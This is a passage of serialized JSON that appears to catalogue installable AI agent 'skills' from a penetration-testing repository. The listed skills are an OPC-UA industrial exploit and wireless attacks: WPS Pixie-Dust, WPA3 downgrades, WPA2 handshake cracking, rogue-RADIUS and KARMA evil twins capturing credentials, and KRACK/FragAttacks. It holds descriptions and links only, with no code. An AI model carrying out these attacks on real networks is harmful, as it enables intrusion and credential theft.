opcua","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fopcua\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]